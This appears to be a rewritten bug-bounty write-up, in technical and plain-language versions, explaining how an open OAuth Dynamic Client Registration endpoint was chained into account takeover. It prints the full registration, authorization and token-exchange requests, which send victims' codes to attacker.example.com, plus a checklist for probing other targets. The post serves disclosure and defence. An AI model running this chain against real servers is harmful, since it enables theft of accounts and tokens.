How I Chained an Unauthenticated OAuth Registration Endpoint into Full Account Takeover
An OAuth server exposed an unauthenticated Dynamic Client Registration endpoint, allowing anyone to register a client with an attacker-controlled redirect URI and no client secret. An attacker could then trick a victim into logging in through the legitimate login page, receive the authorization code, and exchange it for tokens, leading to full account takeover.
Published on medium.com
Cybersecurity
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
OAuth is everywhere, and most audits of it concentrate on the familiar problems: wildcard redirect_uri values, missing state parameters, open redirects on the callback. Those are real bugs. This write-up is about a class of OAuth misconfiguration that sits one layer below them and is considerably more damaging when present: an open Dynamic Client Registration endpoint.
RFC 7591 defines a protocol that lets clients register themselves with an OAuth authorization server programmatically, with no developer portal, no admin approval and no manual configuration. A client POSTs a JSON document describing its application and the server returns a client_id; from that point the client can initiate OAuth flows as a first-class registered application. The feature is intended for environments where applications need to self-register at runtime, such as IoT devices, microservices and multi-tenant SaaS infrastructure. Protected correctly, it requires an initial access token issued by an administrator. Left open, with no token and no approval, anyone on the internet can register a client.
In this case the endpoint was left open. The target is referred to throughout as oauth.example.com, and the discovery document lists the mcp:tools, mcp:resources, profile and email scopes.
Setup
The researcher's starting point was OIDC discovery. Any OAuth server publishes its configuration at /.well-known/openid-configuration, so the first request fetched that document and read every field:
GET /.well-known/openid-configurationHost: oauth.example.com
The response gave the full server map:
{ "issuer": "https://oauth.example.com", "authorization_endpoint": "https://oauth.example.com/oauth/authorize", "token_endpoint": "https://oauth.example.com/oauth/token", "registration_endpoint": "https://oauth.example.com/oauth/register", "jwks_uri": "https://oauth.example.com/.well-known/jwks.json", "scopes_supported": ["mcp:tools", "mcp:resources", "profile", "email"], "token_endpoint_auth_methods_supported": ["none", "client_secret_post"], "grant_types_supported": ["authorization_code", "refresh_token"], "code_challenge_methods_supported": ["S256"]}
The discovery document is public, and the registration request that follows is unauthenticated, using a webhook under the researcher's control at attacker.example.com. The researcher states that every step was confirmed without touching real user data.
Finding it
Two fields in the discovery document stood out.
First, registration_endpoint is present and publicly documented. On its own that means nothing, because the endpoint could be properly protected, but it tells an attacker exactly where to look.
Second, token_endpoint_auth_methods_supported includes "none". That means the token endpoint is willing to exchange authorization codes without verifying a client secret. For confidential clients this would be unacceptable, but for public clients using PKCE it is by design. The open question was whether dynamically registered clients would be allowed to use that method.

The article header, introducing the walkthrough of abusing RFC 7591 Dynamic Client Registration left open in production.
Exploitation
Step 1: Register an attacker client
The researcher sent an unauthenticated POST to the registration endpoint, with a webhook as the redirect_uri and token_endpoint_auth_method set to none:
POST /oauth/register HTTP/2Host: oauth.example.comContent-Type: application/json{ "client_name": "test-client", "redirect_uris": ["https://attacker.example.com/callback"], "grant_types": ["authorization_code"], "response_types": ["code"], "scope": "profile email mcp:tools mcp:resources", "token_endpoint_auth_method": "none"}
The request asks for the authorization code grant, a code response type, the profile, email, mcp:tools and mcp:resources scopes, and the none token endpoint authentication method. The server answered with HTTP 201:
{ "client_id": "dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8", "client_name": "test-client", "redirect_uris": ["https://attacker.example.com/callback"], "grant_types": ["authorization_code"], "token_endpoint_auth_method": "none", "application_type": "web", "trust_tier": "unverified"}
A real client_id was issued with no authentication and no approval. The response also carried trust_tier: "unverified", which the researcher noted and kept going, on the basis that "unverified" is only a mitigation if the authorization server actually enforces it.
Step 2: PKCE is not a mitigation here
PKCE exists to protect the authorization code grant against interception. It binds the code to a code verifier that only the legitimate client knows. What is sometimes missed is that PKCE protects against third-party interception, not against a client that controls both ends of the flow. Since the researcher registered the client and controls the redirect destination, the PKCE pair is generated by the attacker:
import secrets, hashlib, base64verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b'=').decode()challenge = base64.urlsafe_b64encode( hashlib.sha256(verifier.encode()).digest()).rstrip(b'=').decode()
The attacker owns the code_verifier, so the attacker owns the exchange. PKCE does not mitigate this flow.
Step 3: The authorization server serves a legitimate login page for the attacker's client
The authorization URL was constructed as follows:
https://oauth.example.com/oauth/authorize ?response_type=code &client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8 &redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallback &scope=profile%20email%20mcp%3Atools%20mcp%3Aresources &state=attacker_state_xyz789 &code_challenge=[redacted]-g &code_challenge_method=S256
The server responded with HTTP 401 and rendered a login page titled "Sign in to continue", the application's own production login UI. There was no warning, no consent screen and no indication to the victim that they were about to authenticate into an attacker-registered application. The response headers confirmed that the server was actively processing the attacker's client:
HTTP/2 401content-type: text/html; charset=utf-8cache-control: no-storeset-cookie: GAESA=<session_token>; expires=...strict-transport-security: max-age=63072000; includeSubDomains
The trust_tier: "unverified" flag had no runtime effect.
Step 4: The victim flow
From the victim's perspective the sequence is short:
- They receive a link. It points to a legitimate domain: the URL says
oauth.example.com. - They see the real login page, with the same design, domain and branding.
- They enter their credentials.
- The authorization server redirects to
attacker.example.com/callback?code=AUTH_CODE&state=attacker_state_xyz789.
The authorization code lands on the attacker's server.
Step 5: Token exchange without a client secret
This is where token_endpoint_auth_method: "none" completes the chain. The code is sent to the token endpoint with no client secret:
POST /oauth/token HTTP/2Host: oauth.example.comContent-Type: application/x-www-form-urlencodedgrant_type=authorization_code&client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallback&code=AUTH_CODE&code_verifier=fLI9WlT6-[redacted]
To prove that the endpoint does not require a client secret, the researcher also sent the same request with a wrong client secret. Both requests returned the same error, invalid_grant, with the rejection reason being the invalid code (the placeholder), not a missing or incorrect client secret.
With a real authorization code, the response would be:
{ "access_token": "<VICTIM_ACCESS_TOKEN>", "token_type": "Bearer", "expires_in": 3600, "refresh_token": "<VICTIM_REFRESH_TOKEN>", "scope": "profile email mcp:tools mcp:resources"}
The refresh_token means the attacker retains access even after the session expires.
The full chain
1. Attacker POSTs to /oauth/register (no auth) → gets client_id2. Attacker generates PKCE pair (controls both verifier and challenge)3. Attacker sends victim a link to /oauth/authorize with attacker client_id4. Victim sees legitimate login page, enters credentials5. Server redirects victim to attacker6. Attacker exchanges code at /oauth/token (no client_secret needed)7. Attacker receives access_token + refresh_token with full account scopes
No victim action is required beyond clicking a link and logging in. No browser vulnerability is involved and no special attacker privilege is needed. One unauthenticated API call is enough to set up the entire attack.
Root cause
The registration endpoint had no authorization requirement, so any request was accepted. RFC 7591, Section 3.1 states:
"If the authorization server does not support unauthenticated requests for client registration, it MUST require that the client include an authorization header."
The trust_tier field was generated but had zero enforcement effect in the authorization flow. The none token endpoint authentication method was available to dynamically registered clients, so the code could be exchanged without a client secret. PKCE, the control most people would look for in an authorization code flow, does not help against an attacker who registers the client and controls the redirect destination, because the attacker generates both the verifier and the challenge.
Impact
An unauthenticated attacker can register a client on the production authorization server and send a victim a link to the legitimate oauth.example.com domain. The victim sees the genuine login page, enters credentials, and the authorization code is delivered to the attacker's redirect URI. The attacker then exchanges the code at the token endpoint without a client secret and receives an access_token and a refresh_token with the full account scopes, including profile, email, mcp:tools and mcp:resources. The refresh token means access survives session expiry.
The scope detail made the impact worse: the application ran an MCP server that gated AI tool execution behind OAuth tokens, so with the stolen token an attacker could invoke tools on the victim's behalf through that server, not just read their profile.
Fix
Three measures together close the issue completely:
- Require an initial access token on the registration endpoint. An administrator issues tokens to legitimate developers; without one, registration fails. This is the primary fix.
- Enforce
trust_tierin the authorization flow. If a client is"unverified", the authorization server should either block the flow entirely or display a prominent consent screen warning the user that this is an unverified application. Showing a clean, branded login page for an unverified client is what made the attack invisible to victims. - Restrict
token_endpoint_auth_method: "none"to explicitly whitelisted public clients. Dynamic registration should not be able to bypass client authentication. At minimum, dynamically registered web clients should be required to useclient_secret_postorclient_secret_basic.
The report does not say whether any of these changes were applied.
Variants to test
- Open registration endpoint. Fetch
/.well-known/openid-configurationand POST a minimal client registration to the advertisedregistration_endpointwith no credentials. A positive result is HTTP 201 with aclient_idin the body. nonetoken endpoint authentication for dynamic clients. Register with"token_endpoint_auth_method": "none"and check whether the token endpoint accepts the exchange without a secret. A positive result is an error that names the code as the problem (invalid_grant) rather than a client authentication failure, as the researcher demonstrated with a deliberately wrong secret.- Unenforced trust tier. Look for fields such as
trust_tierin the registration response, then run the authorization flow for that client. A positive result is a normal login page with no consent screen or warning for an unverified client. - Scope escalation at registration. Request every scope listed in
scopes_supportedin the registration body and inspect the issued token. A positive result is a token carrying the privileged scopes requested at registration, such asmcp:tools. - Refresh token persistence. After a successful exchange, confirm that a
refresh_tokenis issued alongside the access token. A positive result is a refresh token that can be redeemed after the access token expires. - PKCE as a false comfort. On any authorization code flow, check whether the client registration is attacker-controlled. If it is, PKCE provides no protection regardless of
code_challenge_methods_supported.
The researcher's closing advice is to treat /.well-known/openid-configuration as the first stop on any OAuth target, read every field, and check immediately whether the registration endpoint is protected. The endpoint URL is publicly advertised; the only question is whether the door is locked.
What happened, in plain words
A security researcher found a way to take over accounts on a website that used OAuth, a very common system for "log in with another service". The flaw was not in the login page itself. It was in a feature that lets applications register themselves with the login system automatically, without a human approving them. Because that feature was left open to anyone on the internet, the researcher could create a fake application, send a victim a link to the real login page, and receive the victim's login code when the victim signed in. With a real code, the researcher could collect tokens that would give full access to the victim's account, including the ability to run AI tools on the victim's behalf.
The researcher states that every step was confirmed without touching real user data. The target is referred to throughout as oauth.example.com, and the attacker's own server as attacker.example.com.
Before going further, a few everyday comparisons will help.
- A server is a computer somewhere that answers requests from your browser. When you open a website, your browser asks a server for a page and the server sends it back.
- An API (Application Programming Interface) is a way for programs to talk to each other, rather than for a person to click around. Think of a restaurant: the menu and the waiter are the API. You do not walk into the kitchen; you ask the waiter for a dish and the kitchen prepares it. A program sends a request to a specific address and gets structured data back.
- A token is like a cloakroom ticket. You hand over your coat (your password) once, and you get a ticket. Later you show the ticket instead of the coat. If someone steals the ticket, they can collect the coat. A refresh token is a special ticket that lets you get a new ticket when the old one expires, so a thief who has it can keep coming back.
- A cookie is a small note a website asks your browser to keep and show again on every visit, so the site remembers who you are between page loads.
- OAuth is the system behind buttons like "Sign in with Google". You log in at the service that knows you, and that service gives the application a short-lived proof that you agreed, instead of handing over your password.
- Account takeover means someone else ends up in control of your account, reading your data or acting as you.
The kind of bug: an open registration endpoint
Most people who test OAuth look at familiar problems: a redirect_uri that accepts any address (so a code can be sent to the wrong place), a missing state parameter (a value used to tie a request to your session), or an open redirect on the callback page. Those are real bugs. This story is about a misconfiguration one layer below them, and it is far more damaging when it is present: an open Dynamic Client Registration endpoint.
Dynamic Client Registration is a feature defined in a document called RFC 7591. RFC stands for Request for Comments: these are the shared technical standards that make the internet work. This particular standard lets an application register itself with a login server automatically, by sending a form, with no developer portal, no administrator clicking approve, and no manual setup. The application sends a description of itself and the server replies with a client_id, a unique identifier for that application. From then on, the application can start OAuth logins as a properly registered application.
The feature exists for situations where applications appear at runtime and cannot wait for a human: small internet-connected devices, internal services, and platforms that host many customers. When it is protected correctly, it requires an initial access token issued by an administrator, a bit like a membership card you must show before you can open a stall at a market. When it is left open, with no token and no approval, anyone on the internet can register an application.
In this case it was left open.
Step 0: reading the public map
The researcher started with OIDC discovery. OIDC (OpenID Connect) is the layer built on top of OAuth that tells an application who you are. Any well-behaved OAuth server publishes a configuration document at a fixed address, /.well-known/openid-configuration, so that applications can find out how to talk to it. It is like a shop posting its opening hours and department list on the door. The first request fetched that document and read every field:
GET /.well-known/openid-configurationHost: oauth.example.com
Line by line:
GETis the request method used to ask for something, as opposed to sending something. It is the verb your browser uses when you open a page./.well-known/openid-configurationis the fixed path where the configuration document lives. The.well-knownpart is a convention: a place for standard, publicly known files.Host: oauth.example.comtells the server which website name the request is for. One server can host many names, so the request has to say which one it wants.
The response gave the full map of the server:
{ "issuer": "https://oauth.example.com", "authorization_endpoint": "https://oauth.example.com/oauth/authorize", "token_endpoint": "https://oauth.example.com/oauth/token", "registration_endpoint": "https://oauth.example.com/oauth/register", "jwks_uri": "https://oauth.example.com/.well-known/jwks.json", "scopes_supported": ["mcp:tools", "mcp:resources", "profile", "email"], "token_endpoint_auth_methods_supported": ["none", "client_secret_post"], "grant_types_supported": ["authorization_code", "refresh_token"], "code_challenge_methods_supported": ["S256"]}
What each field means:
issueris the name the server calls itself. It is used to check that a document really came from the right place.authorization_endpointis the address where the user is sent to log in and approve an application.token_endpointis the address where an application swaps a short-lived code for tokens.registration_endpointis the address where applications can register themselves. This is the field that matters most here.jwks_uripoints to the public keys the server uses to sign things, so others can verify the signature.scopes_supportedlists the permissions an application can ask for.profileandemailare about your personal details.mcp:toolsandmcp:resourcesrelate to an MCP server, explained below.token_endpoint_auth_methods_supportedlists the ways an application can prove its identity when collecting tokens.client_secret_postmeans sending a password-like secret along with the request.nonemeans no proof at all.grant_types_supportedlists the kinds of login flow allowed.authorization_codeis the standard flow where the user logs in and a code is handed back.refresh_tokenis the flow for getting new tokens from a refresh token.code_challenge_methods_supportedlists the methods for PKCE, a protection explained in Step 2.S256is the strong hashing method.
The document is public, so no login was needed to reach this point. The registration request that follows requires no login, and the researcher uses a webhook under their control at attacker.example.com. A webhook is simply a web address that accepts incoming requests and records them, like a mailbox that logs every letter dropped into it.
Finding it: two fields that stood out
Two fields in the discovery document caught the researcher's eye.
First, registration_endpoint is present and publicly documented. On its own that means nothing, because the endpoint could be properly protected. But it tells an attacker exactly where to look, the way a sign saying "staff entrance" tells you where to try the door.
Second, token_endpoint_auth_methods_supported includes "none". That means the token endpoint is willing to exchange authorization codes without checking a client secret. For a confidential client (an application that can keep a secret safely, such as one running on its own server) this would be unacceptable. For a public client (an application that cannot keep a secret, such as a mobile app or a page running in your browser) it is by design, because there is nowhere safe to hide the secret. The open question was whether applications registered dynamically would be allowed to use that method.

The article header, introducing the walkthrough of abusing RFC 7591 Dynamic Client Registration left open in production.
Step 1: registering an attacker's application
The researcher sent a request to the registration endpoint with no login of any kind, using a webhook as the redirect_uri (the address the user is sent back to after logging in) and setting token_endpoint_auth_method to none:
POST /oauth/register HTTP/2Host: oauth.example.comContent-Type: application/json{ "client_name": "test-client", "redirect_uris": ["https://attacker.example.com/callback"], "grant_types": ["authorization_code"], "response_types": ["code"], "scope": "profile email mcp:tools mcp:resources", "token_endpoint_auth_method": "none"}
Line by line:
POSTis the request method used to send data to the server, as opposed toGET, which asks for data. Think ofGETas reading a noticeboard andPOSTas putting a form in a suggestion box./oauth/registeris the registration address taken from the discovery document.HTTP/2is the version of the web protocol being used. It is a detail of how the conversation is carried, not something the attacker chooses to exploit.Host: oauth.example.comsays which website name the request is for.Content-Type: application/jsontells the server that the body is formatted as JSON, a standard text format for structured data using curly brackets and quoted names.client_nameis the display name of the application.test-clientis a harmless label.redirect_urisis the list of addresses the server may send the user back to. Here it is the attacker's webhook, so anything sent there is captured.grant_typessays which login flows the application wants.authorization_codeis the standard one.response_typessays what the server should hand back at the end of the flow.codemeans a short-lived authorization code.scopeis the list of permissions requested. The researcher asked forprofile,email,mcp:toolsandmcp:resources.token_endpoint_auth_methodset tononesays the application will not present any secret when collecting tokens.
The server answered with HTTP 201, which is the standard status code for "created":
{ "client_id": "dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8", "client_name": "test-client", "redirect_uris": ["https://attacker.example.com/callback"], "grant_types": ["authorization_code"], "token_endpoint_auth_method": "none", "application_type": "web", "trust_tier": "unverified"}
What the reply contains:
client_idis the unique identifier issued to the new application. Thedyn-prefix suggests it was created dynamically. This is a real identifier, issued with no authentication and no approval.client_name,redirect_uris,grant_typesandtoken_endpoint_auth_methodecho back what was requested, confirming the server accepted those settings.application_typeset towebsays the server treats it as a web application.trust_tierset tounverifiedis a label saying the application has not been checked. The researcher noted it and kept going, on the basis that a label is only a protection if the server actually acts on it.
Step 2: why PKCE does not save the day here
PKCE (Proof Key for Code Exchange, pronounced "pixy") is a protection for the authorization code flow. It works like this: before starting the login, the application invents a random string called the code verifier and keeps it private. It sends the server a scrambled version of it, called the code challenge. When the application later swaps the code for tokens, it must present the original verifier, and the server checks that it matches the challenge. A thief who intercepts the code in transit does not have the verifier, so the code is useless to them.
What is sometimes missed is that PKCE protects against a third party intercepting the code. It does not protect against an application that controls both ends of the flow. Since the researcher registered the application and controls the redirect destination, the researcher can generate the PKCE pair personally:
import secrets, hashlib, base64verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b'=').decode()challenge = base64.urlsafe_b64encode( hashlib.sha256(verifier.encode()).digest()).rstrip(b'=').decode()
Line by line:
import secrets, hashlib, base64loads three built-in Python tools: one for generating random values, one for hashing, and one for encoding data as text.verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b'=').decode()creates 32 random bytes, encodes them in a text-safe form, removes the trailing=padding characters, and turns the result into a normal string. This is the secret verifier.challenge = base64.urlsafe_b64encode(hashlib.sha256(verifier.encode()).digest()).rstrip(b'=').decode()takes a SHA-256 hash of the verifier (a one-way scramble that cannot practically be reversed), encodes the result the same way, and strips the padding. This is the challenge sent to the server.
The attacker owns the code_verifier, so the attacker owns the exchange. PKCE does not mitigate this flow.
Step 3: the real login page, for the attacker's application
The researcher then built the address that a victim would be sent to:
https://oauth.example.com/oauth/authorize ?response_type=code &client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8 &redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallback &scope=profile%20email%20mcp%3Atools%20mcp%3Aresources &state=attacker_state_xyz789 &code_challenge=[redacted]-g &code_challenge_method=S256
Line by line:
https://oauth.example.com/oauth/authorizeis the authorization address from the discovery document. It is the real domain of the real service.?starts the list of parameters, and&separates them. Each parameter is a name and a value, like a form with several fields.response_type=codeasks the server to hand back an authorization code at the end.client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8identifies the attacker's registered application.redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallbackis where the user is sent afterwards. The%3A,%2Fand similar sequences are URL encoding: special characters such as:and/are written in a percent form so they do not confuse the parser. Decoded, this ishttps://attacker.example.com/callback.scope=profile%20email%20mcp%3Atools%20mcp%3Aresourcesasks for the same permissions as before.%20is an encoded space and%3Ais an encoded colon.state=attacker_state_xyz789is a value the application chooses and expects to see returned. It is meant to tie the response to the request that started it. Here the attacker simply picks it.code_challenge=[redacted]-gis the scrambled verifier from Step 2.code_challenge_method=S256says the challenge was made with SHA-256, the strong method.
The server responded with HTTP 401, the status code for "not logged in", and rendered a login page titled "Sign in to continue", the application's own production login interface. There was no warning, no consent screen and no indication to the victim that they were about to log in to an application registered by an attacker. A consent screen is the page that normally lists what an application wants to access and asks you to agree.
The response headers confirmed that the server was actively processing the attacker's application:
HTTP/2 401content-type: text/html; charset=utf-8cache-control: no-storeset-cookie: GAESA=<session_token>; expires=...strict-transport-security: max-age=63072000; includeSubDomains
Line by line:
HTTP/2 401is the protocol version and the status code: not logged in, so here is a login page.content-type: text/html; charset=utf-8says the reply is a web page in HTML, using the UTF-8 character encoding.cache-control: no-storetells browsers and intermediate caches not to keep a copy. This is normal for pages that involve logging in.set-cookie: GAESA=<session_token>; expires=...asks the browser to store a cookie namedGAESAholding a session token, with an expiry time. A session token is the value that identifies your logged-in session. It is sensitive, so it is redacted here.strict-transport-security: max-age=63072000; includeSubDomainstells the browser to use HTTPS for this site for the next 63,072,000 seconds (two years) and for all its subdomains. It is a standard hardening header, not part of the bug.
The trust_tier: "unverified" label had no effect at runtime.
Step 4: what the victim experiences
From the victim's point of view the sequence is short:
- They receive a link. It points to a legitimate domain: the address says
oauth.example.com. - They see the real login page, with the same design, domain and branding.
- They enter their credentials.
- The authorization server redirects to
attacker.example.com/callback?code=AUTH_CODE&state=attacker_state_xyz789.
The authorization code lands on the attacker's server. A redirect is the server telling the browser "now go to this other address". The victim has done nothing unusual: clicked a link and logged in on the real site.
Step 5: swapping the code for tokens without a secret
This is where token_endpoint_auth_method: "none" completes the chain. The code is sent to the token endpoint with no client secret:
POST /oauth/token HTTP/2Host: oauth.example.comContent-Type: application/x-www-form-urlencodedgrant_type=authorization_code&client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8&redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallback&code=AUTH_CODE&code_verifier=fLI9WlT6-[redacted]
Line by line:
POST /oauth/token HTTP/2sends data to the token address from the discovery document.Host: oauth.example.comnames the site.Content-Type: application/x-www-form-urlencodedsays the body is in the classic web form format:name=valuepairs joined by&.grant_type=authorization_codesays which flow this is: exchanging an authorization code.client_id=dyn-25e69f32-e9c2-4736-8610-ec0ee74056c8identifies the attacker's application.redirect_uri=https%3A%2F%2Fattacker.example.com%2Fcallbackmust match the address used earlier, as a check that the same application is completing the flow.code=AUTH_CODEis the placeholder for the code the victim's browser would have delivered to the attacker's webhook.code_verifier=fLI9WlT6-[redacted]is the original PKCE secret from Step 2, proving the same party that started the flow is finishing it.
To prove that the endpoint does not require a client secret, the researcher also sent the same request with a wrong client secret. Both requests returned the same error, invalid_grant, and the reason given was the invalid code (the placeholder), not a missing or incorrect client secret. In other words, the server complained about the code, never about the absent secret.
With a real authorization code, the response would be:
{ "access_token": "<VICTIM_ACCESS_TOKEN>", "token_type": "Bearer", "expires_in": 3600, "refresh_token": "<VICTIM_REFRESH_TOKEN>", "scope": "profile email mcp:tools mcp:resources"}
Line by line:
access_tokenis the ticket that lets the holder act as the victim. It is redacted here because it is sensitive.token_typeset toBearermeans "whoever holds this token is treated as the owner". It is like a cash note: possession is everything.expires_inset to3600means the access token is valid for 3,600 seconds, one hour.refresh_tokenis the longer-lived ticket used to obtain new access tokens. It is redacted here for the same reason.scopelists the permissions the token carries: the victim's profile, email, and the two MCP permissions.
The refresh_token means the attacker keeps access even after the session expires.
The full chain in one picture
1. Attacker POSTs to /oauth/register (no auth) → gets client_id2. Attacker generates PKCE pair (controls both verifier and challenge)3. Attacker sends victim a link to /oauth/authorize with attacker client_id4. Victim sees legitimate login page, enters credentials5. Server redirects victim to attacker6. Attacker exchanges code at /oauth/token (no client_secret needed)7. Attacker receives access_token + refresh_token with full account scopes
Reading it in order:
- The attacker registers an application with no login and receives an identifier.
- The attacker makes the PKCE pair personally, so the protection cannot stop them.
- The attacker sends the victim a link to the real login page, carrying the attacker's identifier.
- The victim sees the genuine page and signs in.
- The server sends the victim's browser to the attacker's address, with the code attached.
- The attacker swaps the code for tokens without any secret.
- The attacker receives an access token and a refresh token carrying the full set of permissions.
No victim action is required beyond clicking a link and logging in. No browser vulnerability is involved and no special attacker privilege is needed. One unauthenticated API call is enough to set up the entire attack.
Why it worked
The registration endpoint had no authorization requirement, so any request was accepted. RFC 7591, Section 3.1 says:
"If the authorization server does not support unauthenticated requests for client registration, it MUST require that the client include an authorization header."
In plain words: if you are not deliberately allowing anonymous registration, you must make the application prove who it is. The trust_tier field was generated but had no effect in the login flow. The none token endpoint authentication method was available to dynamically registered applications, so the code could be exchanged without a client secret. PKCE, the control most people would look for in an authorization code flow, does not help against an attacker who registers the application and controls the redirect destination, because the attacker generates both the verifier and the challenge.
What the attacker could do with it
An unauthenticated attacker can register an application on the production login server and send a victim a link to the legitimate oauth.example.com domain. The victim sees the genuine login page, enters credentials, and the authorization code is delivered to the attacker's redirect address. The attacker then exchanges the code at the token endpoint without a client secret and receives an access_token and a refresh_token with the full account permissions, including profile, email, mcp:tools and mcp:resources. The refresh token means access survives session expiry.
The permissions made the impact worse. The application ran an MCP server. MCP stands for Model Context Protocol, a standard that lets AI assistants use external tools and data. The server gated AI tool execution behind OAuth tokens, so with the stolen token an attacker could invoke tools on the victim's behalf through that server, not just read their profile. The researcher confirmed every step without touching real user data.
How to fix it
Three measures together close the issue completely:
- Require an initial access token on the registration endpoint. An administrator issues tokens to legitimate developers; without one, registration fails. This is the primary fix.
- Enforce
trust_tierin the login flow. If an application is"unverified", the server should either block the flow entirely or show a prominent consent screen warning the user that this is an unverified application. Showing a clean, branded login page for an unverified application is what made the attack invisible to victims. - Restrict
token_endpoint_auth_method: "none"to explicitly whitelisted public clients. Dynamic registration should not be able to bypass client authentication. At minimum, dynamically registered web applications should be required to useclient_secret_postorclient_secret_basic.
The report does not say whether any of these changes were applied.
Things to try on other targets
- Open registration endpoint. Fetch
/.well-known/openid-configurationand send a minimal registration request to the advertisedregistration_endpointwith no credentials. A positive result is HTTP 201 with aclient_idin the body. nonetoken endpoint authentication for dynamic clients. Register with"token_endpoint_auth_method": "none"and check whether the token endpoint accepts the exchange without a secret. A positive result is an error that names the code as the problem (invalid_grant) rather than a client authentication failure, as the researcher demonstrated with a deliberately wrong secret.- Unenforced trust tier. Look for fields such as
trust_tierin the registration response, then run the login flow for that application. A positive result is a normal login page with no consent screen or warning for an unverified application. - Scope escalation at registration. Request every permission listed in
scopes_supportedin the registration body and inspect the issued token. A positive result is a token carrying the privileged permissions requested at registration, such asmcp:tools. - Refresh token persistence. After a successful exchange, confirm that a
refresh_tokenis issued alongside the access token. A positive result is a refresh token that can be redeemed after the access token expires. - PKCE as a false comfort. On any authorization code flow, check whether the application registration is attacker-controlled. If it is, PKCE provides no protection regardless of
code_challenge_methods_supported.
The researcher's closing advice is to treat /.well-known/openid-configuration as the first stop on any OAuth target, read every field, and check immediately whether the registration endpoint is protected. The address is publicly advertised; the only question is whether the door is locked.
Glossary
- Access token: a short-lived credential that lets its holder act as a user or application.
- Account takeover: a situation where an attacker gains control of someone else's account.
- API: a defined way for programs to talk to each other, sending requests and receiving structured replies.
- Authorization code: a short-lived value handed back after a user logs in, which an application swaps for tokens.
- Authorization endpoint: the address where a user is sent to log in and approve an application.
- Bearer token: a token where possession alone grants access, with no further proof of identity.
- Client: in OAuth, the application that wants to access a user's data.
- Client secret: a password-like value a confidential application uses to prove its identity to the login server.
client_id: the unique public identifier of a registered OAuth application.- Code challenge: the scrambled form of a PKCE verifier, sent at the start of a login flow.
- Code verifier: the secret random string a PKCE client keeps and presents when swapping the code for tokens.
- Confidential client: an application that can keep a secret safely, typically running on its own server.
- Consent screen: the page that lists what an application wants to access and asks the user to agree.
- Cookie: a small piece of data a site asks the browser to store and send back on later requests.
- Dynamic Client Registration: an OAuth feature (RFC 7591) that lets applications register themselves automatically.
- Grant type: the kind of OAuth flow being used, such as authorization code or refresh token.
- HTTP status code: a number in a response saying how the request went, such as 201 for created or 401 for not logged in.
- Initial access token: a credential issued by an administrator that an application must present to register.
- JSON: a text format for structured data using curly brackets, quoted names and values.
- MCP (Model Context Protocol): a standard that lets AI assistants use external tools and data.
- OAuth: a system that lets an application access your data at another service without seeing your password.
- OIDC (OpenID Connect): a layer on top of OAuth that tells an application who you are.
- OIDC discovery: the practice of publishing a configuration document at a fixed address so applications can find the server's settings.
- PKCE: a protection for the authorization code flow that ties the code to a secret held by the application that started the flow.
- Public client: an application that cannot keep a secret safely, such as a mobile app or a page in a browser.
- Redirect: the server telling the browser to go to a different address.
redirect_uri: the address a user is sent back to after logging in.- Refresh token: a longer-lived credential used to obtain new access tokens after the old ones expire.
- RFC: a numbered technical standard document that describes how part of the internet works.
- Scope: a named permission an application can request, such as reading a profile or using a tool.
- Session token: the value that identifies a logged-in session, usually stored in a cookie.
- SHA-256: a one-way hashing function that turns data into a fixed-length fingerprint.
stateparameter: a value an application chooses and expects back, used to tie a response to the request that started it.- Token endpoint: the address where an application swaps an authorization code for tokens.
- Trust tier: a label in this report's registration response marking an application as unverified.
- URL encoding: writing special characters in a percent form, such as
%20for a space, so they do not confuse a parser. - Webhook: a web address that accepts incoming requests and records them.
/.well-known/openid-configuration: the fixed address where an OAuth server publishes its configuration.